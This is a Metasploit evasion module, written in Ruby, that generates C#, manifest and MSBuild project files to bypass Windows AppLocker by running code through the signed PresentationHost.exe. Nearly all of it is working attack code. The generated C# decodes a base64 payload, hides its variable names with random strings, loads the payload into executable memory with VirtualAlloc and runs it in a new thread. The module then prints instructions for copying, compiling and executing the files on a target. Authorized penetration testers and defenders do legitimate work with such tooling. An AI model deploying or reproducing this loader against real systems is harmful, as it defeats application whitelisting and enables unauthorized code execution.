##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Evasion
def initialize(info = {})
super(update_info(info,
'Name' => 'Applocker Evasion - Windows Presentation Foundation Host',
'Description' => %(
This module will assist you in evading Microsoft
Windows Applocker and Software Restriction Policies.
This technique utilises the Microsoft signed binary
PresentationHost.exe to execute user supplied code.
),
'Author' =>
[
'Nick Tyrer <@NickTyrer>', # module development
'Casey Smith' # presentationhost bypass research
],
'License' => 'MSF_LICENSE',
'Platform' => 'win',
'Arch' => [ARCH_X86],
'Targets' => [['Microsoft Windows', {}]])
)
register_options(
[
OptString.new('CS_FILE', [true, 'Filename for the .xaml.cs file (default: presentationhost.xaml.cs)', 'presentationhost.xaml.cs']),
OptString.new('MANIFEST_FILE', [true, 'Filename for the .manifest file (default: presentationhost.manifest)', 'presentationhost.manifest']),
OptString.new('CSPROJ_FILE', [true, 'Filename for the .csproj file (default: presentationhost.csproj)', 'presentationhost.csproj'])
]
)
deregister_options('FILENAME')
end
def build_payload
Rex::Text.encode_base64(payload.encoded)
end
def obfu
Rex::Text.rand_text_alpha 8
end
def presentationhost_xaml_cs
esc = build_payload
mod = [obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu]
<<~HEREDOC
using System;
class #{mod[0]}{
static void Main(string[] args){
IntPtr #{mod[1]};
#{mod[1]} = GetConsoleWindow();
ShowWindow(#{mod[1]}, #{mod[2]});
string #{mod[3]} = "#{esc}";
byte[] #{mod[4]} = Convert.FromBase64String(#{mod[3]});
byte[] #{mod[5]} = #{mod[4]};
IntPtr #{mod[6]} = VirtualAlloc(IntPtr.Zero, (UIntPtr)#{mod[5]}.Length, #{mod[7]}, #{mod[8]});
System.Runtime.InteropServices.Marshal.Copy(#{mod[5]}, 0, #{mod[6]}, #{mod[5]}.Length);
IntPtr #{mod[9]} = IntPtr.Zero;
WaitForSingleObject(CreateThread(#{mod[9]}, UIntPtr.Zero, #{mod[6]}, #{mod[9]}, 0, ref #{mod[9]}), #{mod[10]});}
private static Int32 #{mod[7]}=0x1000;
private static IntPtr #{mod[8]}=(IntPtr)0x40;
private static UInt32 #{mod[10]} = 0xFFFFFFFF;
[System.Runtime.InteropServices.DllImport("kernel32")]
private static extern IntPtr VirtualAlloc(IntPtr a, UIntPtr s, Int32 t, IntPtr p);
[System.Runtime.InteropServices.DllImport("kernel32")]
private static extern IntPtr CreateThread(IntPtr att, UIntPtr st, IntPtr sa, IntPtr p, Int32 c, ref IntPtr id);
[System.Runtime.InteropServices.DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(IntPtr h, UInt32 ms);
[System.Runtime.InteropServices.DllImport("user32.dll")]
static extern bool ShowWindow(IntPtr #{mod[1]}, int nCmdShow);
[System.Runtime.InteropServices.DllImport("Kernel32")]
private static extern IntPtr GetConsoleWindow();
const int #{mod[2]} = 0;}
HEREDOC
end
def presentationhost_manifest
<<~HEREDOC
<?xml version="1.0" encoding="utf-8"?>
<assembly manifestVersion="1.0" xmlns="urn:schemas-microsoft-com:asm.v1">
<assemblyIdentity version="1.0.0.0" name="MyApplication.app" />
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
<security>
<applicationRequestMinimum>
<defaultAssemblyRequest permissionSetReference="Custom" />
<PermissionSet class="System.Security.PermissionSet" version="1" ID="Custom" SameSite="site" Unrestricted="true" />
</applicationRequestMinimum>
<requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
<requestedExecutionLevel level="asInvoker" uiAccess="false" />
</requestedPrivileges>
</security>
</trustInfo>
</assembly>
HEREDOC
end
def presentationhost_csproj
<<~HEREDOC
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Import Project="$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props')" />
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Release</Configuration>
<Platform Condition=" '$(Platform)' == '' ">x86</Platform>
<OutputType>WinExe</OutputType>
<HostInBrowser>true</HostInBrowser>
<GenerateManifests>true</GenerateManifests>
<SignManifests>false</SignManifests>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|x86' ">
<Optimize>true</Optimize>
<OutputPath>.</OutputPath>
</PropertyGroup>
<ItemGroup>
<Reference Include="System" />
</ItemGroup>
<ItemGroup>
<Compile Include="#{datastore['CS_FILE']}">
<DependentUpon>#{datastore['CS_FILE']}</DependentUpon>
<SubType>Code</SubType>
</Compile>
</ItemGroup>
<ItemGroup>
<None Include="#{datastore['MANIFEST_FILE']}" />
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\\Microsoft.CSharp.targets" />
</Project>
HEREDOC
end
def file_format_filename(name = '')
name.empty? ? @fname : @fname = name
end
def create_files
f1 = datastore['CS_FILE'].empty? ? 'presentationhost.xaml.cs' : datastore['CS_FILE']
f1 << '.xaml.cs' unless f1.downcase.end_with?('.xaml.cs')
f2 = datastore['MANIFEST_FILE'].empty? ? 'presentationhost.manifest' : datastore['MANIFEST_FILE']
f2 << '.manifest' unless f2.downcase.end_with?('.manifest')
f3 = datastore['CSPROJ_FILE'].empty? ? 'presentationhost.csproj' : datastore['CSPROJ_FILE']
f3 << '.csproj' unless f3.downcase.end_with?('.csproj')
cs_file = presentationhost_xaml_cs
manifest_file = presentationhost_manifest
csproj_file = presentationhost_csproj
file_format_filename(f1)
file_create(cs_file)
file_format_filename(f2)
file_create(manifest_file)
file_format_filename(f3)
file_create(csproj_file)
end
def instructions
print_status "Copy #{datastore['CS_FILE']}, #{datastore['MANIFEST_FILE']} and #{datastore['CSPROJ_FILE']} to the target"
print_status "Compile using: C:\\Windows\\Microsoft.Net\\Framework\\[.NET Version]\\MSBuild.exe #{datastore['CSPROJ_FILE']}"
print_status "Execute using: C:\\Windows\\System32\\PresentationHost.exe [Full Path To] #{datastore['CS_FILE'].gsub('.xaml.cs', '.xbap')}"
end
def run
create_files
instructions
end
end
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